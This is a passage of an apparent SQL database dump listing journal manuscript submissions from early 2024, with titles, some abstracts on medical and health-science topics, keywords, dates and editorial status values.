worldwide during the first year of life children are often associated with inappropriate feeding practices, especially due to poor exclusive breastfeeding practices.\r\nObjective: To assess exclusive breastfeeding practices and associated factors among mothers who have infants less than six months old at public health facility in Hargeisa, Somaliland. 2023\r\nMethodology: The study was used institution based cross-sectional design and the sample size was 264. Structured questionnaire was also used. The data than was entered, coded and cleaned into Epi data version 3.1 and   was exported to Statistical Package for Social Science (SPSS) version 20 for further analysis. Descriptive statistics was used to summarize the socio-demographic characteristics’ of the study participants and bivariate logistic regression was performed to each independent variable with the outcome variable and those variables with a p value < 0.05 was included in the final model (multivariate analysis). Strength of association was measured using odds ratio, and 95% confidence intervals. Statistical significance was declared at P value <0.05. \r\nResults: The prevalence of exclusive breastfeeding in the study area was 50.1%. Among different socio-demographic, health service, maternal, and infant related factors studied; Age of the child, maternal occupation, household income, breastfeeding counseling during ANC, husband support of breastfeeding, colostrum feeding and not feeding prelactal were the determinant factors for higher chance of EBF practice.\r\nRecommendation: the government should work on promoting behavior change communication on exclusive breastfeeding practice and take appropriate actions to avoid other related traditional activities which discourage EBF.\r\n\r\n\r\n',' Exclusive breastfeeding, assessment, associated Factors, Hargeisa, Somaliland. ',5154,NULL,'2024-01-31',NULL,'Submitted',2,NULL,'2024-03-14',NULL,1,1,'0',NULL,0,'','',NULL,0,0,1,NULL,0),(14546,14579,73,0,'ipjnn-24-14546','Artificial intelligence algorithms for glioblastomas recognition in single photon emission tomography images',NULL,14,0,'','Introduction: glioblastoma is the most frequent malignant primary brain tumor. Artificial intelligence and within it machine learning techniques have the potential to become powerful diagnostic tools.\r\nObjective: to evaluate the performance of different artificial intelligence algorithms to glioblastomas recognition through biomarkers extracted from brain SPECT images with 99mTc-MIBI.\r\nMethod: observational, descriptive, cross-sectional, quantitative study, which took place at \"Hermanos Ameijeiras\" Hospital during the period 2018 - 2020. Different artificial intelligence classification algorithms were analyzed.\r\nResults: 220 Brain SPECT images with 99mTc-MIBI of patients diagnosed with brain glioma were analyzed; 110 instances were created. In the training, all the algorithms had an accuracy above 90%, with the exception of the voted perceptron, which in turn had the highest classification error (14,05%). The areas under the ROC curves are above 0,90, the area under the curve with the multilayer perceptron being higher (0,98). In the test data, all the algorithms improved their accuracy, with the exception of the voted perceptron, which decreased it by 9,479% and increased the classification error. The bayes.Naive and Voted Perceptron have significantly lower performance than the rest of the algorithms.\r\nConclusion: all the algorithms showed excellent performance metrics in the recognition of glioblastomas except bayes.Naive and Voted Perceptron, with less accuracy and greater error. The low accuracy, high error, and low kappa of bayes.Naive and Voted Perceptron make them unsuitable for the recognition of glioblastomas in relation to the rest of the algorithms trained and tested on the data from study.','Glioma, Technetium Tc 99m Sestamibi, Artificial Intelligence.\r\n',351,NULL,'2024-02-01',NULL,'Submitted',2,NULL,'2024-02-20',NULL,1,1,'0',NULL,0,'','',NULL,0,0,0,NULL,0),(14547,14451,73,0,'ipjnn-24-14547','A Commentary on Understanding prompting further investigation. Notably, the presentation encompasses ',NULL,3,1,'Current Neurology and Neuroscience Report','','',326,NULL,'2024-02-02',NULL,'Submitted',15,NULL,'2024-02-02',NULL,1,1,'1',NULL,0,NULL,NULL,NULL,0,0,0,NULL,0),(14548,14580,326,0,'IPJUS-24-14548','Colorectal Surgery: Enhanced Patient Outcomes',NULL,12,0,'','','',59146,NULL,'2024-02-05',NULL,'Submitted',2,NULL,'2024-02-28',NULL,1,1,'1','Accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(14549,14581,326,0,'IPJUS-24-14549','Exploring the Revolutionary Arthroscopic Knee Surgery: Mobility and Recovery',NULL,12,0,'','','',59147,NULL,'2024-02-05',NULL,'Submitted',2,NULL,'2024-02-28',NULL,1,1,'1','Accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(14550,14582,326,0,'IPJUS-24-14550','Advancements and Benefits of Laparoscopic Surgery',NULL,12,0,'','','',59204,NULL,'2024-02-05',NULL,'Submitted',2,NULL,'2024-02-28',NULL,1,1,'1','Accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(14551,14583,326,0,'IPJUS-24-14551','Advancements in Ankle Surgery: A Step Towards Improved Mobility and Quality of Life',NULL,12,0,'','','',59205,NULL,'2024-02-05',NULL,'Submitted',2,NULL,'2024-02-28',NULL,1,1,'1','Accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(14552,14584,326,0,'IPJUS-24-14552','The Transformational Journey: Exploring Orthognathic Surgery and its Impact',NULL,12,0,'','','',59147,NULL,'2024-02-05',NULL,'Submitted',2,NULL,'2024-02-28',NULL,1,1,'1','Accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(14553,14585,326,0,'IPJUS-24-14553','Understanding Hysterectomy Surgery: A Comprehensive Guide to Women\'s Health',NULL,12,0,'','','',59206,NULL,'2024-02-05',NULL,'Submitted',2,NULL,'2024-02-28',NULL,1,1,'1','Accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(14554,14586,326,0,'IPJUS-24-14554','Hip Surgery: Pioneering Techniques and Enhanced Recovery',NULL,12,0,'','','',59207,NULL,'2024-02-05',NULL,'Submitted',2,NULL,'2024-02-28',NULL,1,1,'1','Accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(14555,14588,45,0,'iphsj-24-14555','Reactive Oxygen Species in Cancer Management: Understanding the Transformation of Antagonists Turning Allies',NULL,15,0,'','Cancer is uncontrolled mitosis where reactive oxygen species (ROS) act as one of the mitogens. Although elevated ROS concentrations are one of the key points in the development and spread of cancer, exceeding the threshold limit becomes lethal to cancer cells. Due to an independent antioxidant system and metabolic reprogramming, cancer cells can withstand high ROS concentrations (e.g., the Warburg effect). The ability of cancer cells to control ROS levels is an intricate strength and a crucial factor for effective cancer treatment. Multiple cancer therapies, like radiotherapy and chemotherapy, rely on ROS accretion to induce cancer cell death but they simultaneously they damage normal cells. These therapies intended to block this adaptation should be expected to kill cancer cells. Alteration in the nature of cancer cells by ROS-generating molecules and making them more selective for apoptosis can be the practical mode of treatment for malignancies. Due to their ROS-enhancing properties and anticipated changes in multiple signaling pathways, a number of natural product compounds and repurposed medicines have recently been investigated for the management of cancer. In this review, we describe the specific role of ROS in tumorigenesis and clinically tested repurposed ROS-generating drugs and their metabolism for cancer therapy.','reactive oxygen species; metabolic reprogramming; Warburg effect; drug repurposing; cancer therapy; apoptosis',5375,NULL,'2024-02-05',NULL,'Submitted',2,NULL,'2024-03-14',NULL,1,1,'0',NULL,0,'','',NULL,0,0,0,NULL,0),(14556,14589,326,0,'IPJUS-24-14556','A Comprehensive Guide to Gynecomastia Surgery: Restoring Confidence, Redefining Masculinity',NULL,12,0,'','','',59208,NULL,'2024-02-05',NULL,'Submitted',2,NULL,'2024-02-28',NULL,1,1,'1','Accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(14557,14590,326,0,'IPJUS-24-14557','Glaucoma Surgery: Future of the Field',NULL,12,0,'','','',59209,NULL,'2024-02-05',NULL,'Submitted',2,NULL,'2024-02-28',NULL,1,1,'1','Accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(14558,14587,326,0,'IPJUS-24-14558','Neck Surgery: Understanding and Deciding',NULL,12,0,'','','',59210,NULL,'2024-02-05',NULL,'Submitted',2,NULL,'2024-02-28',NULL,1,1,'1','Accepted\r\n',0,NULL,NULL,NULL,0,0,0,NULL,0),(14559,14420,971,0,'ipaclr-24-14559','Innovative Saliva Test Strips for Precise Ethanol Level Determination: Development and Validation\"',NULL,3,1,'Emerging Research on Health care','','',59211,NULL,'2024-02-14',NULL,'Submitted',15,NULL,'2024-02-15',NULL,1,1,'1',NULL,0,NULL,NULL,NULL,0,0,0,NULL,0),(14570,14602,639,0,'ipfs-24-14570','Glyphosate-Based Herbicides in Aquaculture: An Overview of Aquatic Food Safety Risk Assessment',NULL,19,0,'-','Aquaculture production has been steadily increasing worldwide due to the growing human population. This growth has resulted in higher consumption of aquatic food products. However, there are concerns about the food safety of aquatic food products due to the increased use of glyphosate-based herbicides (GBHs) in aquaculture applications. This overview examines the complex relationship between aquaculture, GBHs and the associated risks arising from aquaculture. Providing an informative understanding of the research area, an approach to prospective research offers insight into aquatic food safety and risk management strategies. Our goal is to benefit both the aquaculture industry and consumers by emphasizing the importance of ongoing research in ensuring the aquatic food safety and sustainability of aquaculture practices.','Glyphosate exposure, Human health, Risk management, Aquatic toxicology',1773,NULL,'2024-02-15',NULL,'Submitted',14,NULL,'2024-03-21',NULL,1,1,'1','Proceed for publication',0,'','',NULL,0,0,0,NULL,0),(14571,14601,959,0,'ipacr-24-14571','Endometrial and Cervical Cancer: A Comprehensive Comparison','',12,0,'','','',5428,'','2024-02-15',NULL,'Submitted',2,0,'2024-03-18','',1,1,'1','Proceed for publication',0,'','',0,0,0,0,NULL,0),(14572,14592,959,0,'ipacr-24-14572','Advances in Radiation Therapy: Transforming Cancer Treatment','',12,0,'','','',5428,'','2024-02-15',NULL,'Submitted',2,0,'2024-03-18','',1,1,'1','Proceed for publication',0,'','',0,0,0,0,NULL,0),(14574,14593,959,0,'ipacr-24-14574','Understanding Chemotherapy: Mechanisms Side Effects and Evolving Approaches','',12,0,'','','',5428,'','2024-02-15',NULL,'Submitted',2,0,'2024-03-18','',1,1,'1','Proceed for publication',0,'','',0,0,0,0,NULL,0),(14575,14600,959,0,'ipacr-24-14575','Anemia and Rectal Bleeding: Understanding the Causes Symptoms and Treatment Options','',12,0,'','','',5428,'','2024-02-15',NULL,'Submitted',2,0,'2024-03-18','',1,1,'1','Proceed for Publication',0,'','',0,0,0,0,NULL,0),(14576,14599,959,0,'ipacr-24-14576','Prostate Cancer: Understanding Diagnosis Treatment and Prevention','',12,0,'','','',5428,'','2024-02-15',NULL,'Submitted',2,0,'2024-03-18','',1,1,'1','Proceed for publications',0,'','',0,0,0,0,NULL,0),(14577,14598,959,0,'ipacr-24-14577','Lung Cancer Causes, Symptoms, Diagnosis, Treatment, and Prevention','',12,0,'','','',5428,'','2024-02-15',NULL,'Submitted',2,0,'2024-03-18','',1,1,'1','Proceed for publication',0,'','',0,0,0,0,NULL,0),(14579,14596,959,0,'ipacr-24-14579','Programmed Cell Death: A Fundamental Mechanism in Biology','',12,0,'','','',5428,'','2024-02-15',NULL,'Submitted',2,0,'2024-03-18','',1,1,'1','Proceed for publication',0,'','',0,0,0,0,NULL,0),(14580,14594,959,0,'ipacr-24-14580','Cell Growth and Division: A Complex Ballet of Life','',12,0,'','','',5428,'','2024-02-15',NULL,'Submitted',14,0,'2024-04-18','',1,1,'1','Proceed for Publication',0,'','',0,0,0,0,NULL,0),(14581,14603,45,0,'iphsj-24-14581','Advancements in Health Science Innovations Challenges and Future Directions',NULL,25,0,'','Health science, a multidisciplinary field encompassing medicine, biology, public health, and allied health professions, plays a pivotal role in understanding, promoting, and preserving human health. This research article provides a comprehensive overview of recent advancements in health science, addressing key areas such as medical technology, disease prevention, healthcare delivery, and public health policy. Innovations such as precision medicine, telemedicine, and wearable health technologies are transforming healthcare delivery and empowering individuals to take proactive control of their health. However, these advancements also pose challenges related to data privacy, healthcare disparities, and ethical considerations. By examining current trends and future directions in health science research and practice, this article aims to inform policymakers, healthcare professionals, researchers, and the public about opportunities and challenges in promoting optimal health and well-being for individuals and communities.','health science, medical technology, precision medicine, telemedicine, public health, healthcare delivery',4076,NULL,'2024-02-24',NULL,'Submitted',2,NULL,'2024-03-14',NULL,1,1,'1',NULL,0,NULL,NULL,NULL,0,0,0,NULL,0),(14582,14604,45,0,'iphsj-24-14582','Exploring the Interplay between Mental Health and Well-being: A Comprehensive Review',NULL,3,0,'','This comprehensive review delves into the intricate relationship between mental health and well-being, two fundamental aspects of human flourishing. Mental health encompasses emotional, psychological, and social well-being, while well-being encompasses various dimensions such as life satisfaction, happiness, and fulfillment. Understanding the interplay between these constructs is crucial for promoting holistic health and addressing the complex challenges faced by individuals and societies. This review synthesizes current research findings, theoretical frameworks, and practical interventions aimed at enhancing mental health and well-being across diverse populations. Key topics explored include the determinants of mental health and well-being, the impact of socio-cultural factors, the role of resilience and coping strategies, and the effectiveness of interventions in fostering positive mental health outcomes. By shedding light on the interconnectedness of mental health and well-being, this review aims to inform policymakers, practitioners, and researchers in their efforts to promote thriving communities and individuals.','mental health, well-being, flourishing, determinants, resilience, interventions',4076,NULL,'2024-02-24',NULL,'Submitted',2,NULL,'2024-03-14',NULL,1,1,'1',NULL,0,NULL,NULL,NULL,0,0,0,NULL,0),(14583,14605,45,0,'iphsj-24-14583','Nursing Education Current Trends Challenges and Future Directions',NULL,25,0,'','Nursing education plays a vital role in preparing future healthcare professionals to meet the evolving needs of patients and communities. This research article provides an in-depth exploration of current trends, challenges, and future directions in nursing education. Drawing upon recent literature and expert insights, the article examines innovative approaches to curriculum development, clinical training, and educational technology integration. Additionally, it addresses persistent challenges such as faculty shortages, clinical placement limitations, and the need for diversity and inclusion in nursing education. Looking ahead, the article discusses emerging trends such as simulation-based learning, interprofessional education, and competency-based assessments, which have the potential to reshape nursing education and enhance the quality of patient care. By synthesizing key findings and recommendations, this article aims to inform policymakers, educators, and stakeholders in their efforts to strengthen nursing education and promote excellence in nursing practice.','nursing education, curriculum development, clinical training, educational technology, challenges, future directions',456,NULL,'2024-02-24',NULL,'Submitted',2,NULL,'2024-03-14',NULL,1,1,'1',NULL,0,NULL,NULL,NULL,0,0,0,NULL,0),(14584,14606,45,0,'iphsj-24-14584','Harnessing the Potential of Artificial Intelligence in Healthcare: Innovations, Applications, and Implications',NULL,15,0,'','Artificial intelligence (AI) is revolutionizing healthcare by enabling transformative innovations in diagnosis, treatment, and patient care. This research article provides a comprehensive overview of the applications, challenges, and implications of AI in healthcare. Drawing upon recent literature and expert insights, the article examines key AI technologies, such as machine learning, natural language processing, and robotics, and their diverse applications across various domains of healthcare, including medical imaging, drug discovery, clinical decision support, and personalized medicine. Additionally, the article discusses the ethical, regulatory, and societal considerations surrounding the adoption of AI in healthcare, highlighting opportunities for improving patient outcomes, enhancing clinical workflows, and addressing healthcare disparities. By synthesizing current research findings and future prospects, this article aims to inform policymakers, healthcare professionals, researchers, and the public about the transformative potential of AI in shaping the future of healthcare delivery.','artificial intelligence, healthcare, machine learning, medical imaging, clinical decision support, personalized medicine, ethics, regulation',4076,NULL,'2024-02-24',NULL,'Submitted',2,NULL,'2024-03-23',NULL,1,1,'1',NULL,0,NULL,NULL,NULL,0,0,0,NULL,0),(14585,14607,277,0,'ipadm-24-14585','Navigating the Complexities of Chronic Disease Management: Integrative Approaches in Clinical Medicine',NULL,15,0,'','     ','',5022,NULL,'2024-02-29',NULL,'Submitted',2,NULL,'2024-03-25',NULL,1,1,'1','Accepted to publish',0,NULL,NULL,NULL,0,0,0,NULL,1),(14586,14608,277,0,'ipadm-24-14586','Advancements in Assisted Reproductive Technologies: Breaking Barriers in Fertility Treatment',NULL,17,0,'','       ','',2805,NULL,'2024-02-29',NULL,'Submitted',2,NULL,'2024-03-25',NULL,1,1,'1','Accepted to publish',0,NULL,NULL,NULL,0,0,0,NULL,1),(14587,14609,277,0,'ipadm-24-14587','Advancements in Precision Medicine: A Game-Changer in Clinical Practice',NULL,2,0,'','   ','',2805,NULL,'2024-02-29',NULL,'Submitted',2,NULL,'2024-03-25',NULL,1,1,'1','Accepted to publish',0,NULL,NULL,NULL,0,0,0,NULL,1),(14588,14610,277,0,'ipadm-24-14588','Balancing Tradition and Innovation: Exploring the Evolution of Integrative Medicine',NULL,19,0,'','','',5023,NULL,'2024-02-29',NULL,'Submitted',2,NULL,'2024-03-25',NULL,1,1,'1','Accepted to publish',0,NULL,NULL,NULL,0,0,0,NULL,0),(14589,14611,277,0,'ipadm-24-14589','Harnessing Holistic Healing: The Rise of Integrative Medicine in Modern Healthcare',NULL,2,0,'','','',2805,NULL,'2024-02-29',NULL,'Submitted',2,NULL,'2024-03-25',NULL,1,1,'0','Accepted to publish',0,NULL,NULL,NULL,0,0,0,NULL,0),(14590,14612,277,0,'ipadm-24-14590','From Genes to Therapies: The Revolution of Molecular Medicine',NULL,13,0,'','','',5023,NULL,'2024-02-29',NULL,'Submitted',2,NULL,'2024-03-25',NULL,1,1,'1','Accepted to publish',0,NULL,NULL,NULL,0,0,0,NULL,0),(14591,14613,277,0,'ipadm-24-14591','Unraveling the Code: Exploring the Promise of Molecular Medicine',NULL,17,0,'','','',2805,NULL,'2024-02-29',NULL,'Submitted',2,NULL,'2024-03-25',NULL,1,1,'1','Accepted to publish',0,NULL,NULL,NULL,0,0,0,NULL,0),(14592,14614,277,0,'ipadm-24-14592','Navigating Nephrology: Exploring Innovations and Challenges in Renal Medicine',NULL,2,0,'','    ','',2805,NULL,'2024-02-29',NULL,'Submitted',2,NULL,'2024-03-25',NULL,1,1,'1','Accepted to publish',0,NULL,NULL,NULL,0,0,0,NULL,1),(14593,14615,277,0,'ipadm-24-14593','Revolutionizing Renal Care: Advances in Renal Medicine and Kidney Health',NULL,15,0,'','                  ','',2805,NULL,'2024-02-29',NULL,'Submitted',2,NULL,'2024-03-25',NULL,1,1,'1','Accepted to publish',0,NULL,NULL,NULL,0,0,0,NULL,1),(14594,14616,277,0,'ipadm-24-14594','Navigating Ethical Dilemmas in Reproductive Medicine: Balancing Innovation with Patient Well-being',NULL,2,0,'','     ','',2805,NULL,'2024-02-29',NULL,'Submitted',2,NULL,'2024-03-25',NULL,1,1,'1','Accepted to publish',0,NULL,NULL,NULL,0,0,0,NULL,1),(14595,14617,251,0,'ipacm-24-14595','Unveiling Bacterial Vaginosis: Causes, Symptoms, Treatment, and Prevention',NULL,12,0,'','','',780,NULL,'2024-03-01',NULL,'Submitted',2,NULL,'2024-04-10',NULL,1,1,'1','Proceed for Publication',0,NULL,NULL,NULL,0,0,0,NULL,0),(14597,14619,251,0,'ipacm-24-14597','Unveiling the Complexities of Candida Albicans: Understanding the Intricacies of a Common Fungal Resident',NULL,3,0,'','','',782,NULL,'2024-03-01',NULL,'Submitted',2,NULL,'2024-04-10',NULL,1,1,'1','Proceed for Publication',0,NULL,NULL,NULL,0,0,0,NULL,0),(14599,14621,251,0,'ipacm-24-14599','Unveiling the Microscopic World: Exploring the Diversity and Importance of Aerobic Bacteria',NULL,3,0,'','','',785,NULL,'2024-03-01',NULL,'Submitted',2,NULL,'2024-04-10',NULL,1,1,'1','Proceed for Publication',0,NULL,NULL,NULL,0,0,0,NULL,0),(14600,14622,251,0,'ipacm-24-14600','Unveiling the Hidden World: Exploring the Fascinating Realm of Anaerobic Bacteria',NULL,12,0,'','','',785,NULL,'2024-03-01',NULL,'Submitted',2,NULL,'2024-04-10',NULL,1,1,'1','Proceed for Publication',0,NULL,NULL,NULL,0,0,0,NULL,0),(14602,14624,975,0,'ipjbs-24-14602','An Overview of Reproductive Biology: Unlocking the Secrets of Life',NULL,12,0,'','','',59215,NULL,'2024-03-01',NULL,'Submitted',2,NULL,'2024-03-26',NULL,1,1,'1','Proceed for publication',0,NULL,NULL,NULL,0,0,0,NULL,0),(14603,14625,975,0,'ipjbs-24-14603','The Wonders of Bioengineering: Revolutionizing Medicine, Agriculture, and Beyond',NULL,12,0,'','','',59217,NULL,'2024-03-01',NULL,'Submitted',2,NULL,'2024-03-26',NULL,1,1,'1','Proceed for publication',0,NULL,NULL,NULL,0,0,0,NULL,0),(14604,14626,975,0,'ipjbs-24-14604','Exploring the Vast Landscape of Biological Sciences: From Cells to Ecosystems',NULL,12,0,'','','',59216,NULL,'2024-03-01',NULL,'Submitted',2,NULL,'2024-03-27',NULL,1,1,'1','Proceed for Publication',0,NULL,NULL,NULL,0,0,0,NULL,0),(14605,14627,975,0,'ipjbs-24-14605','Advancements in Medical Research: Unraveling the Mysteries of Human Health',NULL,3,0,'','','',59094,NULL,'2024-03-01',NULL,'Submitted',2,NULL,'2024-03-27',NULL,1,1,'1','Proceed for publication',0,NULL,NULL,NULL,0,0,0,NULL,0),(14609,14631,975,0,'ipjbs-24-14609','Illuminating the Inner Landscape: A Comprehensive Exploration of Medical Imaging',NULL,12,0,'','','',59221,NULL,'2024-03-01',NULL,'Submitted',2,NULL,'2024-03-27',NULL,1,1,'1','Proceed for publication',0,NULL,NULL,NULL,0,0,0,NULL,0),(14610,14632,975,0,'ipjbs-24-14610','Unveiling the Potential: A Journey into Stem Cell Research',NULL,12,0,'','','',59220,NULL,'2024-03-01',NULL,'Submitted',2,NULL,'2024-03-27',NULL,1,1,'1','Proceed for publication',0,NULL,NULL,NULL,0,0,0,NULL,0),(14611,14630,975,0,'ipjbs-24-14611','Proteogenomics: Bridging the Gap between Genomics and Proteomics',NULL,12,0,'','','',59219,NULL,'2024-03-04',NULL,'Submitted',2,NULL,'2024-03-27',NULL,1,1,'1','Proceed for publication',0,NULL,NULL,NULL,0,0,0,NULL,0),(14612,14629,975,0,'ipjbs-24-14612','Decoding the Complexities of Proteomics: Illuminating the Cellular Symphony',NULL,3,0,'','','',59218,NULL,'2024-03-04',NULL,'Submitted',2,NULL,'2024-03-27',NULL,1,1,'1','Proceed for publication',0,NULL,NULL,NULL,0,0,0,NULL,0),(14613,14628,975,0,'ipjbs-24-14613','Navigating the Ethical Frontiers: An In-Depth Exploration of Bioethics',NULL,3,0,'','','',5410,NULL,'2024-03-04',NULL,'Submitted',2,NULL,'2024-03-27',NULL,1,1,'1','Proceed for publication',0,NULL,NULL,NULL,0,0,0,NULL,0),(14614,14612,277,0,NULL,'The Revolution of Molecular Medicine: From Genes to Therapies',NULL,13,0,'','','',2805,NULL,'2024-03-04',NULL,'Submitted',4,NULL,'2024-03-04',NULL,1,0,'1',NULL,0,NULL,NULL,NULL,0,0,0,NULL,0),(14615,14640,91,0,'ijddr-24-14615','Gene Therapy: Pioneering the Future of Medicine',NULL,12,0,'','','',59222,NULL,'2024-03-05',NULL,'Submitted',2,NULL,'2024-03-22',NULL,1,1,'1','Proceed for publication',0,NULL,NULL,NULL,0,0,0,NULL,0),(14616,14641,251,0,'ipacm-24-14616','Tackling Tuberculosis: Understanding, Treatment, and Prevention',NULL,12,0,'','','',59223,NULL,'2024-03-05',NULL,'Submitted',2,NULL,'2024-04-10',NULL,1,1,'1','Proceed for Publication',0,NULL,NULL,NULL,0,0,0,NULL,0),(14617,14640,91,0,'ijddr-24-14617','Revolutionizing Healthcare: Innovations in Drug Delivery Systems',NULL,11,0,'','','',2474,NULL,'2024-03-05',NULL,'Submitted',2,NULL,'2024-03-22',NULL,1,1,'1','Proceed for publication',0,NULL,NULL,NULL,0,0,0,NULL,0),(14618,14639,251,0,'ipacm-24-14618','Unraveling the Mysteries of Energy Metabolism: A Journey Through the Cellular Powerhouses',NULL,12,0,'','','',59224,NULL,'2024-03-05',NULL,'Submitted',2,NULL,'2024-04-10',NULL,1,1,'1','Proceed for Publication',0,NULL,NULL,NULL,0,0,0,NULL,0),(14619,14638,91,0,'ijddr-24-14619','Breaking Barriers: A New Dawn in Neurodegenerative Disease Therapies',NULL,12,0,'','','',59225,NULL,'2024-03-05',NULL,'Submitted',2,NULL,'2024-03-22',NULL,1,1,'1','Proceed for publication',0,NULL,NULL,NULL,0,0,0,NULL,0),(14620,14637,91,0,'ijddr-24-14620','Unleashing the Potential of Drug Repurposing: Turning Old Drugs into New Hope',NULL,11,0,'','','',3391,NULL,'2024-03-05',NULL,'Submitted',2,NULL,'2024-03-22',NULL,1,1,'1','Proceed for publication',0,NULL,NULL,NULL,0,0,0,NULL,0),(14621,14642,251,0,'ipacm-24-14621','Unveiling the Enigmatic Realm of Cytomegalovirus: A Multifaceted Perspective',NULL,3,0,'','','',59226,NULL,'2024-03-05',NULL,'Submitted',2,NULL,'2024-04-10',NULL,1,1,'1','Proceed for Publication',0,NULL,NULL,NULL,0,0,0,NULL,0),(14622,14636,91,0,'ijddr-24-14622','Immunotherapy Unleashed: A Paradigm Shift in Cancer Treatment',NULL,12,0,'','','',3213,NULL,'2024-03-05',NULL,'Submitted',2,NULL,'2024-03-22',NULL,1,1,'1','Proceed for publication',0,NULL,NULL,NULL,0,0,0,NULL,0),(14623,14636,91,0,'ijddr-24-14623','Revolutionizing Medicine: The Power of Computational Drug Design',NULL,12,0,'','','',3391,NULL,'2024-03-05',NULL,'Submitted',2,NULL,'2024-03-22',NULL,1,1,'1','Proceed for publication',0,NULL,NULL,NULL,0,0,0,NULL,0),(14624,14635,91,0,'ijddr-24-14624','Advancements in In Vitro and In Vivo Models for Preclinical Drug Development',NULL,11,0,'','','',5033,NULL,'2024-03-05',NULL,'Submitted',2,NULL,'2024-03-22',NULL,1,1,'1','Proceed for publication',0,NULL,NULL,NULL,0,0,0,NULL,0),(14625,14634,91,0,'ijddr-24-14625','Quantitative Structure-Activity Relationship (QSAR) Studies in Drug Design and Optimization',NULL,12,0,'','','',5033,NULL,'2024-03-05',NULL,'Submitted',2,NULL,'2024-03-22',NULL,1,1,'1','Proceed for publication',0,NULL,NULL,NULL,0,0,0,NULL,0),(14626,14633,91,0,'ijddr-24-14626','Patient-Centric Approaches in Clinical Trials: Designing Studies for Meaningful Outcomes',NULL,11,0,'','','',59095,NULL,'2024-03-05',NULL,'Submitted',2,NULL,'2024-05-23',NULL,1,1,'1','Proceed for publication',0,NULL,NULL,NULL,0,0,0,NULL,0),(14627,14643,85,0,'iphspr-24-14627','Revolutionizing Healthcare: A Comprehensive Approach to Managing Hypertension',NULL,12,0,'','','',59091,NULL,'2024-03-06',NULL,'Submitted',2,NULL,'2024-03-21',NULL,1,1,'1','Accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(14628,14644,85,0,'iphspr-24-14628','Health Care Utilisation: Understanding Attitudes towards Health Care',NULL,12,0,'','','',59091,NULL,'2024-03-06',NULL,'Submitted',2,NULL,'2024-03-21',NULL,1,1,'1','Accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(14629,14645,85,0,'iphspr-24-14629','Exploring Primary Care Quality across Diverse Health Care Structures',NULL,12,0,'','','',59091,NULL,'2024-03-06',NULL,'Submitted',2,NULL,'2024-03-21',NULL,1,1,'1','Accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(14630,14646,85,0,'iphspr-24-14630','Pervasive Healthcare Services and Technologies: Transforming the Landscape of Patient-Centric Care',NULL,12,0,'','','',4068,NULL,'2024-03-06',NULL,'Submitted',2,NULL,'2024-03-21',NULL,1,1,'1','Accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(14631,14647,85,0,'iphspr-24-14631','Enhancing Patient Outcomes: The Vital Role of Nutrition Education in Health Care Professions',NULL,12,0,'','','',3404,NULL,'2024-03-06',NULL,'Submitted',2,NULL,'2024-03-21',NULL,1,1,'1','Accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(14632,14648,85,0,'iphspr-24-14632','Exploring Primary Health Care: A Comparative Analysis of Public Health Nursing Models',NULL,12,0,'','','',3242,NULL,'2024-03-06',NULL,'Submitted',2,NULL,'2024-03-21',NULL,1,1,'1','Accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(14633,14649,85,0,'iphspr-24-14633','The Impact of Health Insurance on Health Care Utilization: Bridging Gaps and Promoting Wellness',NULL,12,0,'','','',59091,NULL,'2024-03-06',NULL,'Submitted',2,NULL,'2024-03-21',NULL,1,1,'1','Accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(14634,14650,85,0,'iphspr-24-14634','Revolutionizing Healthcare: The Era of Artificial Intelligence-based Reactive Health Care Systems',NULL,12,0,'','','',59091,NULL,'2024-03-06',NULL,'Submitted',2,NULL,'2024-03-21',NULL,1,1,'0','Accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(14635,14651,981,0,'ipft-24-14635','Exploring Pharmacotherapeutic Approaches to the Treatment of Muscular Disorders',NULL,12,0,'','','',59227,NULL,'2024-03-06',NULL,'Submitted',2,NULL,'2024-03-20',NULL,1,1,'1','Accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(14636,14652,981,0,'ipft-24-14636','Toxicological Assessment of Fulvic Acid: A Comprehensive Review',NULL,12,0,'','','',59099,NULL,'2024-03-06',NULL,'Submitted',2,NULL,'2024-03-20',NULL,1,1,'1','Accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(14637,14653,981,0,'ipft-24-14637','Safety and Toxicologic Evaluation of Edible Pongamia Oil: A Comprehensive Review',NULL,12,0,'','','',59099,NULL,'2024-03-06',NULL,'Submitted',2,NULL,'2024-03-20',NULL,1,1,'1','Accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(14638,14654,981,0,'ipft-24-14638','Exploring the Depths of Respiratory Toxicology: Unraveling the Impact on Human Health',NULL,12,0,'','','',59099,NULL,'2024-03-06',NULL,'Submitted',2,NULL,'2024-03-20',NULL,1,1,'1','Accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(14639,14655,981,0,'ipft-24-14639','A Critical Review of Distribution, Toxicological Effects and Current Analytical Methods',NULL,12,0,'','','',59099,NULL,'2024-03-06',NULL,'Submitted',2,NULL,'2024-03-20',NULL,1,1,'1','Accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(14640,14656,981,0,'ipft-24-14640','Physicochemical and Toxicological Properties of Wood Smoke Particulate Matter: Unveiling the Complexities',NULL,12,0,'','','',59099,NULL,'2024-03-06',NULL,'Submitted',2,NULL,'2024-03-20',NULL,1,1,'1','Accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(14641,14657,981,0,'ipft-24-14641','Comparative Analysis of Physicochemical, Toxicokinetic and Toxicological Properties',NULL,12,0,'','','',59099,NULL,'2024-03-06',NULL,'Submitted',2,NULL,'2024-03-20',NULL,1,1,'1','Accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(14642,14658,981,0,'ipft-24-14642','Bioactive Alkaloids: A Comprehensive Exploration of Pharmacokinetics, Dynamics, Toxicology and Molecular 